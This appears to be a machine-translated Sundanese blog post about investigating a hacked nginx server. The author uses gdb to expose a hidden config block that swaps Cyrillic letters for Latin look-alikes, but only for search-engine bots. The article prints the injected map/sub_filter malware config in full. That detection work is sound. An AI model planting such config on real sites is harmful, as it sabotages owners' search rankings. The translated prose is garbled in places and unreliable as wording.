Lamun 'a' teu sarua jeung 'a'. Dina hudang hack a

Hiji carita paling teu pikaresepeun lumangsung ka salah sahiji babaturan kuring. Tapi sakumaha pikaresepeun sakumaha tétéla pikeun Mikhail, éta sagampil entertaining keur kuring.

Kuring kudu nyebutkeun yén sobat kuring rada UNIX-pamaké: tiasa install sistem sorangan MySQL, php sarta nyieun setélan basajan nginx.
Sareng anjeunna gaduh belasan atanapi hiji satengah situs web khusus pikeun alat konstruksi.

Salah sahiji situs ieu dedicated ka chainsaws sits pageuh dina TOP mesin pencari. Situs ieu mangrupa reviewer non-komersial, tapi batur ngagaduhan kana watek narajang eta. Anu DDoS, teras brute force, teras aranjeunna nyerat koméntar anu teu sopan sareng ngirim nyiksa ka host sareng ka RKN.
Ujug-ujug, sadayana tenang sareng tenang ieu tétéla henteu saé, sareng situs éta laun-laun ngantunkeun garis luhur hasil pamilarian.

Lamun 'a' teu sarua jeung 'a'. Dina hudang hack a

Éta paribasa, tuluy dongéng admin sorangan.

Geus deukeut waktu sare nalika telepon disada: "San, anjeun moal ningali server kuring? Sigana mah kuring ieu hacked, Abdi teu bisa ngabuktikeun eta, tapi rarasaan teu ninggalkeun kuring keur minggu katilu. Panginten éta waktosna pikeun kuring dirawat pikeun paranoia? ”

Anu salajengna nyaéta diskusi satengah jam anu tiasa diringkeskeun kieu:

  • taneuh pikeun Hacking éta cukup subur;
  • panyerang bisa meunangkeun hak superuser;
  • serangan (lamun lumangsung) ieu sasaran husus dina situs ieu;
  • daérah masalah parantos dilereskeun sareng anjeun ngan ukur kedah ngartos naha aya penetrasi;
  • hack teu bisa mangaruhan kode situs na basis data.

Ngeunaan titik panungtungan.

Lamun 'a' teu sarua jeung 'a'. Dina hudang hack a

Ngan IP frontend bodas anu katingali ka dunya. Aya henteu bursa antara backends na frontend iwal http (s), pamaké / sandi béda, euweuh konci anu disilihtukeurkeun. Dina alamat abu, sadaya palabuhan iwal 80/443 ditutup. IP backend bodas ngan ukur dipikanyaho ku dua pangguna, anu dipercaya ku Mikhail.

Dipasang dina frontend Debian 9 sarta ku waktu nelepon dijieun, sistem ieu terasing ti dunya ku firewall éksternal sarta dieureunkeun.

"Ok, pasihan abdi aksés," kuring mutuskeun pikeun ngeureunkeun bobo sajam. "Kuring bakal ningali ku panon kuring sorangan."

Ieu sareng salajengna:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Pilari hack mungkin

Kuring ngamimitian server, mimiti di nyalametkeun-modus. Kuring dipasang disk jeung flip ngaliwatan aranjeunna autén-log, sajarah, log sistem, jeung sajabana, sabisa-bisa, kuring pariksa tanggal nyiptakeun file, sanaos kuring ngartos yén cracker normal bakal "nyapu" saatos dirina, sareng Misha parantos "ngajait" pisan nalika anjeunna milarian nyalira. .

Kuring ngamimitian dina modeu normal, teu acan bener ngartos naon néangan, Kuring diajar configs. Anu mimiti, kuring resep nginx saprak, sacara umum, aya nanaon sejenna dina frontend iwal eta.
The configs anu leutik, ogé terstruktur kana belasan file, Kuring ngan kasampak ngaliwatan aranjeunna ucing'oh hiji-hiji. Sagalana sigana bersih, tapi anjeun pernah nyaho lamun kuring lasut hal ngasupkeun, hayu atuh nyieun daptar lengkep:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Abdi henteu ngartos: "Dimana daptarna?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Patarosan kadua ditambah kana patarosan daptar: "Naha versi nginx kuno sapertos kitu?"

Salaku tambahan, sistem percaya yén versi panganyarna dipasang:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Abdi nelepon:
- Misha, naha anjeun reassemble nginx?
- Antosan, abdi malah teu terang kumaha ngalakukeun ieu!
- Oke, saré ...

Nginx eta jelas diwangun deui jeung kaluaran Listing ngagunakeun "-T" disumputkeun pikeun alesan. Teu aya deui mamang ngeunaan hacking sareng anjeun ngan saukur tiasa nampi sareng (saprak Misha ngagentos server sareng anu énggal) mertimbangkeun masalahna parantos direngsekeun.

Jeung memang, saprak batur meunang hak akar'ah, teras éta ukur asup akal pikeun ngalakukeun sistem reinstall, tur éta gunana pikeun néangan naon salah aya, tapi panasaran kali ieu ngéléhkeun saré. Kumaha urang bisa manggihan naon maranéhna hayang nyumputkeun ti urang?

Hayu urang coba ngalacak:

$ strace nginx -T

Urang nempo eta, aya jelas teu cukup garis dina ngambah a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Ngan pikeun senang, hayu urang ngabandingkeun papanggihan.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Jigana bagian tina kode /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

diréduksi jadi bentuk:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

atawa

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

kituna Listing ku "-T" teu ditampilkeun.

Tapi kumaha urang tiasa ningali config urang?

Upami pamikiran kuring leres sareng masalahna ngan ukur dina variabel ngx_dump_config hayu urang cobian masangna nganggo gdb, untung aya koncina --kalayan-cc-opt -g hadir tur miharep éta optimasi -O2 eta moal menyakiti urang. Dina waktos anu sami, saprak kuring henteu terang kumaha ngx_dump_config bisa diolah dina kasus 'T':, kami moal nelepon blok ieu, tapi install deui ngagunakeun kasus 't':

Naha anjeun tiasa nganggo '-t' ogé '-T'Blok Processing lamun (ngx_dump_config) kajadian di jero lamun (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Tangtu, lamun kode nu dirobah dina bagian ieu teu di kasus 'T':, teras metode kuring moal jalan.

Nguji nginx.confSaatos ngarengsekeun masalah sacara ékspériméntal, éta ditetepkeun yén konfigurasi minimum anu diperyogikeun pikeun malware tiasa jalan nginx tipe:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Urang bakal ngagunakeun eta pikeun brevity dina artikel.

Ngajalankeun debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Step by step:

  • nyetel breakpoint dina fungsi utama ()
  • ngajalankeun program
  • ngarobah nilai variabel nu nangtukeun kaluaran config nu ngx_dump_config=1
  • nuluykeun / mungkas program

Sakumaha anu urang tingali, config nyata béda ti urang, urang milih sapotong parasit ti dinya:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Hayu urang tingali naon anu lumangsung di dieu dina urutan.

ditangtukeun Agén PamakéYandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Kaca jasa teu kaasup wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Jeung pikeun maranéhanana anu digolongkeun dina duanana kaayaan di luhur

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

dina téks html-kaca robah 'O' dina 'o' и 'A' dina 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Éta leres, hiji-hijina subtlety éta 'a'! = 'a' ngan kawas 'o'! = 'o':

Lamun 'a' teu sarua jeung 'a'. Dina hudang hack a

Ku kituna, bot search engine narima, tinimbang normal 100% téks Cyrillic, dirobah sampah diluted kalawan Latin. 'a' и 'o'. Kuring teu wani ngabahas kumaha ieu mangaruhan SEO, tapi saperti teu mirip jumble hurup bakal boga dampak positif kana posisi dina hasil teangan.

Naon anu bisa kuring ngomong, guys kalawan imajinasi.

rujukan

Debugging kalawan GDB
gdb (1) - halaman manual Linux
strace (1) - halaman manual Linux
Nginx - Module ngx_http_sub_module
Ngeunaan saws, chainsaws jeung saws listrik

sumber: www.habr.com

Tambahkeun komentar